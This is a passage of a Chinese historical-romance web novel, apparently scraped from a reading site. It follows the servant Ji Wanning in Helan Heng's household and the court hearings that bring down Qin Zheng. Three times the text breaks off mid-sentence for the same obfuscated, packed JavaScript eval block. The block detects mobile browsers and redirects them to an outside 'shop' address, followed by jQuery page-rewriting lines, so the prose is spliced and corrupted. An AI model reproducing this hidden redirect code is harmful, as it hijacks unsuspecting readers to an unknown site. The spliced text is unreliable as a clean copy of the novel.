但这话不能直接跟贺兰珩说,以他倨傲的性子是不愿听的。
在膳厅用过晡食之后,贺兰珩才回到来鹤园,路上将香球解了下来,熄灭后放入了袖里。
庭院中浮光点点,檐下一盏琉璃宫灯轻轻晃了晃,朝他移了过来。
季晚凝提灯上前,贺兰珩神情淡漠,带着一股拒人千里的疏冷,径自往寝室走去。
他腿长步子也大,季晚凝提起裙摆加快脚步,硬着头皮地跟在他身后。
贺兰珩推门跨进寝屋,季晚凝停在门外。
虽说他没有把她送走,她心里踏实了些许,可想了一整日也没想明白,贺兰珩的态度为何在一夜之间转变如此之大,他绝不会做对自己无利之事。
所以她才想来问清楚。
可是见他没有搭理自己的意思,季晚凝转身准备离开。
“去把你的寝具拿过来,以后你睡在隔间,贴身伺候。”贺兰珩回首,声音清冷。
季晚凝脚步一顿,不仅要贴身伺候,还要跟他同住在一间房?!
贺兰珩喜静,喜独处,平时东义、北苍也不会睡他房里。若是他不信任她,院里有那么多侍卫呢,也用不着他亲自盯着啊。
回想起贺兰珩昨日对她的一言一行,季晚凝耿耿于怀,她宁愿去浆洗房干活,离他远一些。
可内心再怎么抗拒,她也没有选择的余地。罢了,他的寝室总比刑部大牢强。
季晚凝回到下人房收拾了几件衣物,抱着枕衾又折返回来。
寝室里轩敞整洁,沉檀为梁,玳瑁镶门,帘帐上绘着云鹤,垂有五色玉佩,中央立着一扇嵌着宝石的八角云母屏风,错彩镂金,精妙至极。
隔间在里外屋之间,由帘帐和屏风相隔,她把枕衾铺在了卧榻上。
拾掇完后,季晚凝见贺兰珩坐在屏风前,便走过去坐在了他对面。
这时她又嗅到了与昨晚相同的那股香味,之前他身上从没有过这种味道。
季晚凝举起茶壶给他斟了盏茶。
茶雾与博山炉里的青烟融在一起,在两人之间织成了朦胧的薄纱。
光与雾中,贺兰珩凤眸深俊,两道玄眉如烟墨染就,烛光在他英挺鼻梁一侧投下阴影。
他久久不语,也不看她。
季晚凝缓缓研了墨,心中思忖了一番,提起笔写道:“君为何帮我?”
贺兰珩默了少顷,道:“我不是帮你,契书在先,你还欠我两年。”
季晚凝轻轻眨了下眼,她不太相信这个理由,又写道:“可连累君了?”
贺兰珩眼睑半垂,啜了口茶,淡如止水道:“我既已留下你,就无连累可言。”
季晚凝悬着的心着陆,想再问问他打算怎么处理林夙之。
既然他已知道人是自己杀的,查到林夙之头上是早晚的事。但季晚凝又怕自己此地无银三百两。
他轻抬双眸,道:“我唯一无解的一点是,你为何要射袁大的左眼。”
昨晚贺兰珩查看了两具尸首,推测凶手是从三十丈开外精准地射中了小六的额心,可射袁大时却射偏在了左眼上,若是弓手运气不好,袁大是死不了的。
之后他在后衙找到了一个新填的坑,挖开一看,里面尽是鸦雀的尸体,箭伤无一不贯穿在眼睛上。
这使得他确信袁大左眼中箭并不是失准,而是凶手故意圈中了这个难度极高的目标。
摇曳的光点在他眸子里聚成了一簇,像两颗黑曜石一样注视着她。
季晚凝握着紫毫的指尖却微微蜷起,心口像是被揪了一下。
——因为我亲眼目睹了他将铁钉钉进父亲的左眼里。
可她不能告诉他。
她垂下两扇羽睫,如蝶翼收敛,眸色好似没有星星的夜空,连气息都轻而泠。
在漫长的缄默里,贺兰珩耳畔好似又响起了她昨夜梦呓的声音。
此时等待回答的他,仿佛在水中捞月。
季晚凝轻轻将笔搁回了笔架上,作为答复。
他深深看她一眼,敛回了眸光。
翌日,曙光初洒,秋露如珠,点缀在窗沿。
季晚凝醒来下榻,从内间锦幔的缝隙中望去,床边的纱帐还严实地阖着,官服和靴子都好好地摆在屋里。
已经过了上值的时辰他还没起床。
季晚凝感到有些反常。
她推门出去,和早已起来的小阮一同忙碌着,虽然贺兰珩免了她做粗活,但她有时会给小阮搭把手。
过了会儿,季晚凝回寝室喊他用膳时,锦幔已经敞开了,金辉泼洒在床榻上,而人已不见踪影。
桌案上的文房四宝不在了,可官服还在原处。
可见他不是上值去了,她到底还是连累了他。
季晚凝回到下人房,拎着笼子出来,把鹦鹉放出来,让它落在自己肩上。
小阮和东义围了过来,手里捧着吃食喂它,逗了半晌的趣,教它说话,争着给它起名字。
小阮轻柔地挠着它的羽毛,说道:“它像个雪团子一样,就叫雪媚娘吧。”
东义一边投喂着小米,一边道:“你怎知它是公是母?我看它这么威风,应当叫白将军。”
季晚凝听着他俩你一嘴我一嘴,也默默在心里给它起了几个名字,可惜她插不了话。
“雪媚娘!雪媚娘!”
小家伙在她肩膀上跳来跳去叫着。
“你看,它就叫雪媚娘吧!”小阮笑弯了眼。
东义沮丧地搔了搔头抱怨:“嘿,它怎么不听我的?”
“你们没事做是不是?快干活去。”
梨穗摆着腰走进亭中呵斥,春彤也跟在她身边。
小阮应了一声,闭上嘴灰溜溜地洒扫去了,东义同她一起走了。
梨穗又转向季晚凝:“还有你,郎君不在你就不干活了?别以为你现在是郎君房中人了我就不敢罚你,县主还不知道你这号人呢。”
季晚凝把雪媚娘放回笼子里,不禁失笑,她还不想住贺兰珩房里呢。
春彤剜了她一眼道:“一来府上就睡郎君房里,我早就知道你是凭借爬床才获得郎君的宠信,不然怎么能越过我去,郎君还为了你把我罚去小厨房。”
季晚凝的视线缓缓移向她,眸光凉沁沁的,春彤不禁打了个寒战。
不过经她这么一说,季晚凝才知道原来贺兰珩也罚了春彤,难道他早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164467|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道自己是被诬陷的,这么说克扣她月钱或许是因为她贿赂过春彤,所以不希望她手里有钱。
这时孙嬷嬷过来了,板着张脸道:“春彤,我跟你说过多少遍,你呀,吃亏就吃亏在这张嘴上,三郎君不喜欢下人间有口角之争,你们都该干嘛干嘛去。”
春彤撇撇嘴,阿娘怎么胳膊肘往外拐,她堵着气拽起梨穗往回走。
孙嬷嬷走到季晚凝身边道:“之前郎君让绣房给你裁的衣服都做好了,你随我来取。”
春彤和梨穗闻言回首瞄了一眼,被孙嬷嬷一瞪,又低下了头。
季晚凝来到绣房,孙嬷嬷抱出来一大摞子衣服,从襦裙到袄子、帔帛、绣鞋,应有尽有,四季皆备。
她以为只是几件寻常下人穿的衣裳,没想到这么多。
她走上前轻拂衣料,触感柔滑细腻,颜色虽淡雅,却是上好的绫罗绸缎,提花刺绣也十分精妙。
孙嬷嬷道:“这些布料都是郎君特地从他的私库里拿出来的。”
贺兰珩的私库放的都是圣人赏的、同僚送的好东西,府里给下人用的布帛是远远比不上的。
这些赏赐是贺兰珩从杜家别墅回来后吩咐下来的,孙嬷嬷听东义说季晚凝和郎君一起出去办案了,不是一般的婢女,郎君待她到底是不一样。
孙嬷嬷先前还有怨言,如今对她也改观了,仔细想想偷钱的事八成不是她干的。
季晚凝很久没有穿过如此上乘的衣料了,心里只可惜做婢女也穿不了这么多衣服,她便想着分给小阮几件,可小阮比自己年幼几岁,体型瘦小得多,怕是穿不了。
上回林夙之送了她好多首饰布帛,她现在终于可以还礼了,只是不知道什么时候才能有机会再上见面。
季晚凝把衣裳一一叠了回去,抱回房里,小心翼翼地放进箱笼。
入夜后,一盏盏点上了园子里的宫灯,暖黄的光晕浮在花木水榭之间,柔和而静谧。
贺兰珩回到来鹤园,远远看见季晚凝提灯站在檐下等他,簇新的梅花纹衫子和碧绫裙,肩上披着花缬橙长帔。
冉冉轻裾,亭亭秀质,环步迎面走来,如同从画中出来的美人。
他的目光停留了一息,随即移开。
季晚凝随他进了寝屋后,对他伸出一只手,五指虚握,做了个写字的手势。
贺兰珩淡声道:“笔墨我收起来了,免得你又给人送信。”
季晚凝扯了扯嘴角,看来他已经知道自己和林夙之合谋了,不过这下她可以光明正大地问问林夙之怎么样了吧?
他若是不放心,大可等她写完了再收走,没有笔砚往后也不方便。
季晚凝走到案几边,倒了杯剩茶在案面上写字。
贺兰珩没看她,撩帘进了内间,道:“过来更衣。”
她只得钻进锦幔里,站在他跟前,目光落在他腰间的蹀躞带上。
犹豫了片刻后,她抬起手,触在了中央的金扣上,拨弄了几下,没解开。
她有些窘迫,也没人教过她男子的腰带要怎么解。
“你解我腰带不是解得很熟练吗?”贺兰珩低沉的嗓音从她头顶盖下来。
季晚凝轻轻咬住下唇,想起那晚他用腰带把她绑起来,心里又羞耻又恼恨。
思及此,她松开手,不伺候了。
忽然一只大手覆在了她的小手上面,掌心的温度若有似无地触着她的手背。
季晚凝不由蜷了蜷手指。
一声清响,金扣解开了。
贺兰珩走进净房,沐浴过后换了一身绸缎长袍,躺在床上,放下帘帐。
季晚凝熄了灯,回到卧榻上。
眼下已是暮秋,凉意如细针般无孔不入,她将单薄的被子紧紧裹住,暖了一会儿才入睡。
不知什么时辰,锦幔被悄然撩开了。
贺兰珩无声无息地坐在了卧榻下面,倚在墙壁上,双目微阖。
夜渐深,窸窸窣窣的磨牙声响起。
他睁开眼,起身点上了一炉沉水香。
幽香氤氲开来,逐渐填满轩室。
磨牙声一点点消弭,最终归于阒静。
一夜无梦,窗外清越的晨钟悠然敲响,隔间里又只剩下了季晚凝一个人熟睡的呼吸声。
29. 构陷
几日后,贺兰珩接到通禀后来到御史台。
迈进殿里,秦筝和吴道坤已经在侧首坐着了,贺兰珩撩袍在他们对面坐下。
最后一个进来的宋熙面容清癯,眉如扫帚,一双细眼古井无波,长长的眼尾垂下来。
宋熙坐定后清咳了一声道:“先前在朝堂上你们三人各执一词,如今本相已将纵火元凶和弓手捉拿归案。”
秦筝一脸胜券在握的神情,起身行礼道:“烦请宋相公将那弓手押上来,与贺兰大理对峙。”
“好,就依你所说,来人,将嫌犯带上来。”
少顷,一个穿着囚衣的胡人跪在了堂中央。
宋熙道:“堂下贼人,袁大和小六可是你射杀的?”
那胡人俯首低眉,脊背却挺直,供认道:“是。”
“你为何杀那二人?从实招来。”
“鄙人受大理卿贺兰珩指使,他事先将我藏在大理寺内,命我趁起火之时射杀袁大和小六。”
吴道坤稳坐如泰山,义正辞严道:“宋相公,贼人已然招供,贺兰珩买凶杀人确凿无疑。”
贺兰珩看了他一眼,嘴角略微勾了勾道:“吴尚书怎么如此心急,这才刚刚开始呢,一起再来听听纵火犯的供词,如何?”
随后在宋熙的命令下,一个黑面黄麻的男子被押了上来,正是那日去大理狱给秦俪送饭的仆役。
他跪地说道:“鄙人当日去大理狱给秦娘子送晡食,走的时候将火褶子点燃,扔在了大理狱旁边的枯叶堆里。
“鄙人是秦家家仆,秦公给了我十贯钱让我放的火,说事成之后再给我十贯。可鄙人按着秦公所说办完事后,他不仅没有给我剩下的赏钱,还要杀我灭口,是以我逃了出来。”
秦筝脸色陡然一变,横眉怒目道:“狗贼!本官从来没见过你!宋相公,这贼人血口喷人,污蔑朝廷命官啊!”
宋熙问黄麻子道:“你所说可有佐证?”
秦筝道:“现在就把小女叫来指证,她定不认得你!”
黄麻子愤愤道:“秦家既拿鄙人当枪使,用完就丢,自然是不会认我的!”
“哼!那你说得出秦府有几口人,管家姓甚名谁,小女嫁妆几何吗?”
谁知这黄麻子一一对答如流。
“你、你是如何得知的?!”秦筝嘴角抽搐,“宋相公,下官当真不认识此人啊,他定被是贺兰珩买通了!”
贺兰珩不疾不徐道:“如此说来,刚刚那胡人本官也不认得,定是秦少卿买通来诬陷本官的。”
“你……你这是狡辩!”
“肃静!”宋熙拍了下抚尺。
贺兰珩撩袍起身,道:“宋相公,可否让下官问那胡人几个问题?”
“准。”
贺兰珩走到胡人身旁,问道:“你说本官将你藏在大理寺,指使你行凶,那么本官将你藏在何处?”
“起火的头一天晚上,贺兰大理将鄙人藏在了后衙。”胡人答道。
“那你是如何从后衙去到前衙射杀的?”
“起火之后,鄙人从后衙大门潜了出去,躲在树后埋伏。”
贺兰珩俯视着他道:“两名死者身上的箭皆是自上而下射进头部,可你说你是平地射击,这是不可能办到的。”
胡人舌头像打结了一样,无从反驳,双拳暗暗握紧。
贺兰珩道:“本官再问你,你的箭术是从哪里学的?”
“这有什么稀奇的,鄙人自幼就跟随父亲射猎罢了。”
贺兰珩道:“你答话简洁干练,中气十足,且体型腰长腿短,手指布满了茧子以及旧伤,应该是个骑兵。”
“鄙人……是右万骑的骑兵。”胡人道。
“右万骑?本官想起来了,听闻秦少卿与右万骑的将士来往密切。”
秦筝额角一跳,辩驳道:“可若不是你与他串通,凶手又如何进得了大理寺行凶?”
贺兰珩转向宋熙道:“众所周知,卫尉寺与大理寺毗邻。案发当日秦少卿将这弓手带到了卫尉寺里,随后弓手伺机翻入大理寺作案。
“以右万骑的身手要躲过巡兵想必并不难,他躲在后衙房檐上进行伏击,是以留下了斜入的箭伤。”
秦筝一噎,他事前将大理寺的布局都交代给那胡人了,谁知贺兰珩一概没问,直指尸首,反倒被他倒打一耙。
秦筝接触不到尸首,只能根据秦俪跟他说的,推测凶手是躲在池塘附近暗杀的。
宋熙沉吟了半晌道:“贺兰卿,这些都是你的猜测,你有何证据证明那弓手是秦少卿派来的?”
“下官没有证据。”
贺兰珩本打算伪造证据栽赃秦筝,但很快就放弃了,因为他想到了更为致命的一击。
他神清目定道:“这名凶手箭术精湛不假,可用的却是自制的箭羽,他自称是右万骑骑兵,怎么可能没有配备的弓箭?
“左右万骑营是几年前庆王谋反的主力军,叛军皆被斩首。而此人,想必是只漏网之鱼,才会轻易受秦少卿驱策。宋相公大可向右万骑营打听一下便知。”
贺兰珩前几日一直派人跟踪秦筝,知道他找了个胡人来冒充凶手构陷他。
但这番推测都是他方才临场分析得来,大略有八成的把握,值得一赌。
宋熙侧首对身边的御史中丞低声命道:“遣人去趟右万骑营。”
秦筝浑身冷汗,如今什么证据一概都不重要了,若是让圣人知道了他包藏叛军,谁都保不了他。
吴道坤眈视着宋熙道:“宋相公这是怀疑秦少卿?”
“本相奉圣人之命查案,吴尚书这是对本相有异议?”
吴道坤昂着头道:“秦少卿并无作案的动机,宋相公可莫要被贺兰珩的诡辞诓骗了!”
宋熙站起身来,负手走到吴道坤面前,冲他躬身深施了一揖,笑道:“请吴尚书坐到上面,本相坐在你的位子上,如何?”
吴道坤面色阴晦如霾,撇过头去默然不语。
宋熙刚回到座位上,腰痛就犯了,他无法久坐,便喊了散堂,明日再审。
贺兰珩听出来这两人言语间不和,方才吴道坤说话的时候一直坐着,虽然二人同朝为相,但宋熙是圣人钦定的主审官,吴道坤于情于理都应当恭敬几分。
这是他乘胜追击,一举歼敌的契机。
……
来鹤园,季晚凝一早发现小阮脸色不大好,捂着肚子病恹恹的。小阮说来了月信,疼得慌。
季晚凝把她带到小厨房,想她给熬碗温经止痛的汤药,春彤把她拦在外面道:“府里的药材下人不能随便用,你得自己去买。”
季晚凝只好找东义要纸笔写方子,托他采买回来,东义支支吾吾为难道:“郎君不让我给你笔墨,你有什么事吗?”
小阮不好意思告诉他自己来月信了,摆了摆手道:“晚凝姐姐,不用了,不用了,我以前也总这样,过会儿就好了。”
季晚凝也没法子,便随她去了。
小阮来到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164468|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浆洗房洗衣服,井水冰凉,洗得她直冒冷汗。
她咬着牙坚持洗完之后,端着一大盆浆洗水准备倒掉,刚迈出门槛,腿一发软,整盆水脱手,滚在了地上。
正巧春彤路过,半盆水都泼在了她身上。
“长没长眼睛!”春彤拎起湿漉漉的裙摆,“这可是我新换的衣裳!”
小阮连忙道:“对不起,我刚刚肚子实在疼得厉害,你把裙子换下来,我给你洗干净。”
她抬头愠怒地看着小阮,道:“我认得你,你是那个新来的吧,总跟晚凝在一起,是不是她指使你泼我脏水的?”
小阮急得直跺脚,道:“晚凝姐姐那么善良,怎么可能做这种事,我真的是不小心的。”
“你说她善良,那我就是坏人了?”春彤柳眉一竖,“做事这么毛躁,不罚不长记性,你就在这儿跪一个时辰吧。”
小阮垂眉耷眼,哆哆嗦嗦地双膝一弯,堪堪跪在地上,一只温暖的手就把她扶起来了。
她抬头一看,是晚凝姐姐来了。
季晚凝把浆洗盆捡起来,拉上小阮就走。
“站住。”梨穗走了过来,她妩媚的声音变得十分犀利,“做错事就该罚,你这么一声不吭地走了,是对院里的规矩视若无睹吗?”
季晚凝放下木盆,推了把小阮,示意她先走。
梨穗上下打量她一番,呵,穿上了郎君赏的新衣裳,人都硬气了。
她心里堵得慌,做婢女做得再高,也不如一个没名分的婢妾。
她梅目一转道:“你若是心疼她的话,就替她受罚吧。”
季晚凝冷笑了一下,小阮平日干活勤快又利索,今日不过来了月信出了点差错,就被她们逮住欺负。
更重要的原因是小阮跟她要好,杀鸡儆猴。
季晚凝神色自若地看她一眼,对她的话如秋风过耳,抬步准备离开。
梨穗使了个眼色,她身后的几个婢女马上把季晚凝围了起来,堵住了她的去路。
小阮见势不妙,忍着腹痛拔腿就跑,得赶紧去找孙嬷嬷过来!
那几个婢女抓住了季晚凝的胳膊,使劲把她往地上按,迫使她膝盖弯了下来。
季晚凝毕竟练过射箭,力量比寻常女子要强一些,身量也比她们要高挑,她肩膀扛着几人的力道,双腿用力支撑着地面,坚持不跪下。
正僵持不下的时候,一个婢女抬起腿,要往她的膝盖窝上踹,突然间,一只长臂伸了过来,像铁钳一样把她的胳膊反拧住。
“啊——”
那婢女痛得眼泪直流,旁边那几个立时松了手。
季晚凝喘了口气,站直身子,回头看见贺兰珩走到她身前,把她挡在了里侧。
他转过身,清凛的目光扫过来,那几个婢女噤若寒蝉,冷汗涟涟。
“罚跪一个时辰,若再有下次,通通发卖。”
贺兰珩的声音沉而厉,透着摄人的威压,面前的婢女们齐刷刷地跪在了地上。
梨穗和春彤也俯首低眉地跪下来,面如金纸。
贺兰珩一拂袖,转身离开了。
小阮不知从哪钻了出来,上前给季晚凝揉了揉胳膊,拉着她一边往回走一边道:“晚凝姐姐你没事吧,刚刚我没找到孙嬷嬷,正巧郎君回来了,我同他一说,没想到他真的过来了。”
季晚凝也没想到,贺兰珩平常无暇管下人间这些鸡毛蒜皮的小事,除了那次冤枉她之外。
她望向远处他的背影,跟了上去。
30. 扣人
进了寝室,她点上灯,给他更衣。
褪下外裳后,季晚凝想问他要一席厚被子,便向他比划,指了指自己的被子,又抱住双臂做出冷得发抖的姿势。
“你想说什么?”贺兰珩面上带着一丝淡淡的漠然与疲惫。
季晚凝又比划了几遍,他不是挺聪明的一个人吗?怎么连这都看不懂,真笨。
自从搬来贺兰府后,他先是不让她写字,又是不给她被子,之前还以为他是在生她的气,可刚刚他又来为她解了围,显然不是因为生气。
她必须得把笔墨要回来,今日的事更加说明不能写字有多不便。
于是她又做了个握笔的姿势。
贺兰珩无动于衷,问道:“浴汤烧好了没有?”
季晚凝没回应他,站在那里不动,等他给她一个解释。
贺兰珩微微侧首,对上她簪星曳月的眼,那双眸子望着他,好像在抓着他一样。
“笔砚不能给你。”他道,不仅是为了防止她送信。
季晚凝觉得他很莫名其妙,抿了抿唇,轻移脚步出去让小阮备汤了。
贺兰珩走进净房,倚在浴盆上险些睡着。
一连几个晚上为了听季晚凝的梦呓没睡好,白日里还要为了案子精心部署。
他派不良人鱼墨找到了那个纵火的黄麻子,是个杀过人的逃犯,于是贺兰珩买通了他构陷秦筝,作为交换答应他安置好乡下的老母亲。
先前贺兰珩询问过小阮秦府的情况,前几日又详细地问了一遍,教黄麻子悉数记牢,堂审时才没露出马脚。
他揉了揉眉心,每日在隔间里睡不是长久之计,得再想个办法。
从浴室出来后,贺兰珩躺下不久就睡着了。
季晚凝给他放下帘帐,熄灭了灯烛才去盥洗,洗完之后回到塌上躺了下来。
她仰躺着掖紧被角,无意间看见房梁上挂着一团更黑的东西。
季晚凝心里咯噔一下,轻轻将被角拉上来掩住半张脸,只留了一双澈亮的眸子,死死盯着那东西。
忽然,那团黑影展开了一双翅膀,扑腾了几下,迅捷地朝她飞了过来。
季晚凝吓得从榻上蹦了起来,掀开锦幔,躲进了里间,她抓着锦幔从缝隙里偷窥,那东西飞进了她卧榻底下。
贺兰珩从睡梦中惊醒,就听一阵叮里咣当的响声,他坐起身来撩开了纱帐,见季晚凝正鬼鬼祟祟地贴在帘边。
他声音低哑问道:“何事?”
听见他的声音,季晚凝像是被解救了一般,跑到他床边,点燃一支高台上的蜡烛,指着外间,又伸出两只手比划了个翅膀的动作。
“鸟?”
季晚凝连连摇头,把一手放在鼻子前,五指捏在一起。
“老鼠?”
是蝙蝠!蝙蝠!
她焦急地拽了拽他的被角,贺兰珩抬手掐了掐眉心,掀开被子下了床,被她拉到了外间。
季晚凝一手指着自己的卧榻底下,一手拽紧了他的袖口,侧身躲在他背后。
贺兰珩执烛半蹲,朝黑漆漆的榻底扫了一圈。
“什么也没有,快睡吧。”他语气平静。
什么眼神?这都看不见!季晚凝咬着唇在心里嘀咕,一下子松开了他的袖子。
贺兰珩回到内间重新躺下,不过就是一只蝙蝠,一般不会主动攻击人,不是什么大事。
内间的烛光灭了,季晚凝战战兢兢地躺回榻上,把自己裹成茧子,瞪着葡萄一样圆溜溜的眼睛,直到眼皮打架才迷迷糊糊睡着。
……
翌日,堂审继续。
贺兰珩来到御史台,吴道坤和秦筝依然坐在一处,等了片刻,宋熙扶着腰走了出来。
升殿后,贺兰珩起身面向吴道坤,意味深长道:“下官有一事想请教吴尚书。”
“讲。”吴道坤道。
“秦俪如今身在何处?”
“已经放她回去了。”吴道坤淡定地回应。
贺兰珩嘴角噙起一丝弧度,道:“恐怕要再将她请回来了。就在大理寺案发之前不久,下官查到秦俪勾结牢头小六,对囚犯行不轨之事。”
秦筝一拍大腿,站起来道:“大理寺失火,小女不过是求生,何来逃狱一说!”
贺兰珩道:“秦少卿迟迟未缴赎铜,心系爱女,不惜火烧大理寺,杀人灭口,并救出秦俪。”
秦筝拍案而起道:“贺兰珩你敢诬蔑本官!我与你父亲相识时,你还裹着襁褓呢!既然小六死了,你口说无凭!”
贺兰珩眉峰镇敛:“证人不只小六一人。尚在的证人已在衙署外恭候多时,请宋相公让他们入殿作证。”
宋熙冲差吏使了个眼神。
少顷,断眉走进了公堂,冲着宋熙双手一叉。
“卑职乃大理寺狱吏,数月前秦俪第一回下狱时,与其他女囚起了龃龉,遂指使小六打断了那女囚的右腿。后又与季晚凝不和,指使小六对其用水刑,幸而被贺兰大理发现。”
秦筝脸上流露出一丝鄙夷之色,贱民囚犯,打了便打了,这也犯得着拿到公堂上说。
这时殿外传来了一阵咚咚声,众人侧目往门外望去。
一个女郎拄着木拐,吃力地一点一点将自己的残躯拖进了殿里。
“民女王露谣,叩见贺兰大理和诸位相公。”
王露谣挨了杖刑之后,伤口溃烂不愈,险些丢了性命,削去腐肉之后才见好转。
后来突然有一天贺兰珩派人来给她请了名医治腿,前几日问她愿不愿出堂作证,她毫不犹豫地就答应了。
“民女残废的右腿就是拜秦俪所赐,指使小六对我滥用私刑。”
宋熙点点头,对差吏道:“去把秦俪带上来吧。”
秦俪已经来了御史台,原本是被宋熙叫来指认凶手的。
吴道坤趁着这个空当,对宋熙道:“宋相公,贺兰珩放走的就是这个聋哑女囚,不仅跟谶书案有关,本官怀疑她还跟十年前的陈澍案有关。”
贺兰珩掀起眼眸看向他。
“袁大调查过她,名叫季晚凝,而陈澍的夫人也姓季。本官十年前亲自审理的陈澍一案,他有个女儿就是聋哑人,想必已经改名换姓。”吴道坤拔高了声调,“宋相公,这不可能是巧合吧!”
“本官怀疑这个季晚凝就是谶书幕后主使,杀袁大灭口,再杀小六雪恨。贺兰珩不仅包藏她,还助她行凶,当视为同罪!”
正在这时,秦俪被带到了,她听见了吴道坤的话。
“哈哈哈哈哈哈!说得好!那个哑巴是冲着我来的,她要杀了我!”
秦俪眼神散乱,笑得左摇右摆,随后看见了王露谣,一脚踹在了她腿上。
“王露谣,还有你!是不是你们合谋要害我!不过废了你条腿而已,如今怎地变成了这副德性?哈哈哈哈哈!活该!”
王露谣摔倒在地,仰起头来瞪着她,眼里蕴起了仇火。
秦俪被她看得有些发毛,踉踉跄跄地朝秦筝扑了过去,放声大哭道:“阿耶,救救女儿!我每日做噩梦梦见她来索命!阿耶一定要帮我杀了那个贱人!”
“乖女儿,阿耶一定会帮你报仇的。”秦筝于心不忍,自从目睹了袁大、小六之死后,女儿就变得疯疯癫癫的。
啪!
“把秦俪关到台狱里。”宋熙拍了下惊堂木,“证人也先退下去吧。”
王露谣用木拐撑起身子,一瘸一拐地走了出去。
“宋相公,昨日那弓手的身份查得如何了?”贺兰珩问道。
“那贼人确是右万骑骑兵,他已经供认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164469|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了曾参与魏王谋反案,并逃过了刑罚。”宋熙捋了一把胡须道,“只是,他嘴严得很,不肯承认秦少卿包藏了他,只说人是自己杀的。”
此人因秦筝救过他的命,不招供也是意料之中。
还好贺兰珩留了后手,他敛容道:“下官还查到一事,秦少卿近日为了秦俪的案子入不敷出,于是他以卫尉少卿职务之便,私藏甲胄,意图贩卖军器,请宋相公明察。”
卫尉寺掌帐幕帷宫、仪仗兵器。
“还有此等事?!”宋熙眼中霎时射出两道精光,“秦筝,还不从实招来!”
秦筝适才刚松了口气,这会儿身子怵然一颤,毛发尽竖,面似金纸。
“下……下官不敢啊!下官冤枉!”他脚一软,扑通跪拜在了地上。
贺兰决然道:“下官所言属实,请宋相公即刻遣人前去秦府与卫尉寺调查。”
“贺兰卿,本相就信你这一回,想必你也知道诬陷朝廷命官的后果。”宋熙道,“还等什么?先将秦筝拿下,关押到大牢!”
宋熙一声令下,差吏们倾巢而出。
秦筝被几人从地上架了起来,他伸直了脖子朝着吴道坤求救,吴道坤却凛着一张脸,眉头紧拧,瞅也不瞅他一眼,看来是弃车保帅了。
殿里一下安静了许多。
宋熙脑海里还盘旋着刚才吴道坤说的话,他问道:“陈澍的家眷不是都死了吗,吴尚书为何说季晚凝是陈澍的女儿?”
“许是有漏网之鱼,”吴道坤道,“陈澍的妻儿当年逃走了,途中马车坠崖,尸首无法辨认。”
谈到陈澍案,二人的立场一致,面子上态度缓和了许多。
宋熙抚须回想陈澍的幺女,他记得她是个很健康的女童,为何吴道坤一口咬定她是聋哑人?这蠢货到底是记错了还是想陷害贺兰珩?
这时贺兰珩开口了,语气冷静如初:“经下官查证,季晚凝并无参与谶书案的证据。此外她并非聋哑,而是只哑不聋,吴尚书想必认错人了。”
宋熙攒着眉头思索,无法判断吴道坤所言真伪。
“嗯……先把她带来审一审。”宋熙将目光投向贺兰珩,“那季晚凝现在何处?”
贺兰珩道:“下官确实在大理狱中见她被欺辱曾出手相助,只因下官身为长官肩负其责,除此以外与她再无干系。至于她出狱后去了何处,下官并不知晓。”
吴道坤站起身道:“宋相公,贺兰珩是大理卿,在供状和证据上做手脚轻而易举。”
宋熙看他一副严厉的神情,心中暗忖,谶书案虽已结案,但这是大案,若吴道坤捅到了圣人跟前,再告他不作为,这隔岸的火就该烧到自个儿头上来了。
“也好,来人,去把大理寺参与过谶书案的官吏请来御史台喝茶。”
吴道坤终于露出了满意的神色,噙着笑意朝贺兰珩看了一眼。
贺兰珩面上八风不动,镇定自若,心口却是一紧。
出了御史台之后,他翻身上马,一甩马鞭,须臾间就赶到了大理寺。
门口,一众差吏正押着卫庚、杨司浦、大理丞等官员往外走。
贺兰珩提缰正要上前,马身却一动不动,低头一看,辔头被人稳稳地牵住了。
“宋相公让鄙人转告贺兰大理,回家去吧。”
宋熙的长随站在马前躬着身,语气恭敬又不容商榷。
贺兰珩眉心一折,抬头看向前方,目光越过众人,卫庚正回头望着他,冲他摇了摇头。
“宋相公还说,贺兰大理也不用进宫求情。”
言讫,长随松开了辔头,退到一旁。
大理寺的官员们在差吏的将扯下渐行渐远。
贺兰珩勒住缰绳,掉头策马离去,留下四起的尘烟,静静地落在了大理寺冷清的门口。
31. 同寝
春彤挨了罚之后,又被孙嬷嬷说了一通,今日一整日不是窝在小厨房就是闷在房里。
梨穗在路上碰见季晚凝,装作没瞧见,深一步浅一步地绕开她走了,也没再为难小阮。
小阮鼓起勇气让东义帮她买药材,东义一口应下,当天就买回来了。
熬了药服下之后,小阮感觉腹痛好些了,刚要去干活,撞见迈进园子里的贺兰珩,赶忙停下来行礼。
